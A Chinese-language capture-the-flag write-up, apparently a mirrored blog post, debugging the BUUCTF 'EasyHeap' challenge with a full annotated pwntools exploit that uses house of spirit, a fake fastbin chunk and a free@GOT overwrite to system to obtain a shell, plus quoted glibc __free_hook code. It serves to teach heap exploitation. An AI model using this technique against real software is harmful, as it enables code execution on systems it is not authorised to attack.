zoukankan      html  css  js  c++  java
  • [ZJCTF 2019]EasyHeap | house of spirit 调试记录

    BUUCTF 上的题目,由于部分环境没有复现,解法是非期望的 house of spirit

    第一次接触伪造堆的利用方式,exp 用的是 Pwnki 师傅的,本文为调试记录及心得体会。

    逆向分析的过程请见超链接,下面是我加了注释后的 exp:

    from pwn import *
     
    #p = process('./easyheap')
    p = remote('node3.buuoj.cn' ,'27234')
    elf = ELF('./easyheap')
    
    context.log_level = 'debug' # 设置 Log 等级
    
    def debug(): # 调试函数 attach to gdb
    	gdb.attach(p)
    	pause()
    
    def create(size,content): # 新建 heap,地址保存在 heaparray 
    	p.recvuntil('Your choice :')
    	p.sendline('1')
    	p.recvuntil('Size of Heap : ')
    	p.send(str(size))
    	p.recvuntil('Content of heap:')
    	p.send(str(content))
     
    def edit(index,size,content): # 修改 heap 内容,存在堆溢出点
    	p.recvuntil('Your choice :')
    	p.sendline('2')
    	p.recvuntil('Index :')
    	p.sendline(str(index))
    	p.recvuntil('Size of Heap : ')
    	p.send(str(size))
    	p.recvuntil('Content of heap : ')
    	p.send(str(content))
     
    def free(index): # 释放 heap
    	p.recvuntil('Your choice :')
    	p.sendline('3')
    	p.recvuntil('Index :')
    	p.sendline(str(index))
     
    free_got = elf.got['free']
     
    create(0x68,'aaaa') # chunk 0
    create(0x68,'bbbb') # chunk 1
    create(0x68,'cccc') # chunk 2
    free(2) # 释放 heap2 让其进入 fastbin
    
    payload = '/bin/shx00' + 'a' * 0x60 + p64(0x71) + p64(0x6020b0-3)
    edit(1,len(payload),payload)
    # 修改 heap1 内容为 '/bin/shx00', 以及堆溢出 heap2(freed) 修改其 fd 指针 
    # 因为最后释放的是 heap1,利用 '__free_hook'(system) Getshell 
    # 为什么是 0x6020b0 - 3? 这是调试出来的
    # Fakeheap 若以这里为 prev_size,则 size 正好是一个 0x000000000000007f
    # 可以绕过 malloc_chunk 的合法性验证 (new_chunk 的 size 位要与链表上的 pre_size 一致)
    # 这样就伪造出了一个 chunk
    
    create(0x68,'aaaa') # chunk 2 (从 fastbin 里取出的)
    
    create(0x68,'c') # chunk 3 (Fake)
    
    payload = 'xaa' * 3 + p64(0) * 4 + p64(free_got)
    edit(3,len(payload),payload)
    # 修改 heap3 (Fake)
    # 作用是把 heaparray[0] 的地址 (原先记录的是 heap3 的地址) 覆写成 free_got 地址
    # 这就是要在 heaparry 附近构造 Fakeheap 的原因
    # 确定具体的偏移量需要动态调试 
    
    
    payload = p64(elf.plt['system'])
    edit(0,len(payload),payload)
    # free_got 地址的作用在这里体现了
    # 由于 edit() 的目标是 heaparry[] 里面的地址
    # 那么本次操作将修改 free_got 为 system_plt 的地址
    
    free(1)
    # 当释放 chunk1 (内容为 '/bin/shx00') 的时候,会触发 __free_hook 机制
    # 把 chunk1 当参数传入 free() 中执行,由于 free() 地址已经被修改成 system()
    # 最后程序执行的就是 system('/bin/shx00'), 成功 Getshell
     
    p.interactive()
    

    __free_hook

    void __libc_free (void *mem)
    {
      mstate ar_ptr;
      mchunkptr p;                          /* chunk corresponding to mem */
    
      void (*hook) (void *, const void *)
        = atomic_forced_read (__free_hook);
      if (__builtin_expect (hook != NULL, 0))
        {
          (*hook)(mem, RETURN_ADDRESS (0));
          return;
        }
    

    上面的代码对是 free() 函数的一部分,可以看出程序先把全局变量 __free_hook 赋给了局部变量 hook ,然后对 hook 是否为 NULL 进行判断,如果不为空,则执行 hook ,第一个参数就是 chunk 的内容部分。

    一般的情况下 __free_hook 是为 NULL 的,所以是不会执行的,但是如果有人恶意修改 __free_hook 的话,就会造成 __free_hook 劫持。

    总结

    用了一个下午的时间,感觉自己调试技巧又熟练了一点,学习到了一种 Fakeheap 的利用手法,但是本题难度不太大,还需要更多题目来巩固。

  • 相关阅读:
    Universal-image-loader Mason 修复版(ImageLoader Image can't be decoded)
    118、通过solid来定义不同边框的颜色,可以只定义一个边框的颜色
    Freeline的快速集成(转载)
    SQL存储过程解密
    Bootstrap
    PHP5.6.15连接Sql Server 2008配置方案
    php使用saop简单例子和注意事项
    php使用mysql和mysqli连接查询数据
    MYSQL中UNIX时间戳与日期的转换
    xp和win7安装telnet服务
  • 原文地址:https://www.cnblogs.com/zhwer/p/13781722.html
Copyright © 2011-2022 走看看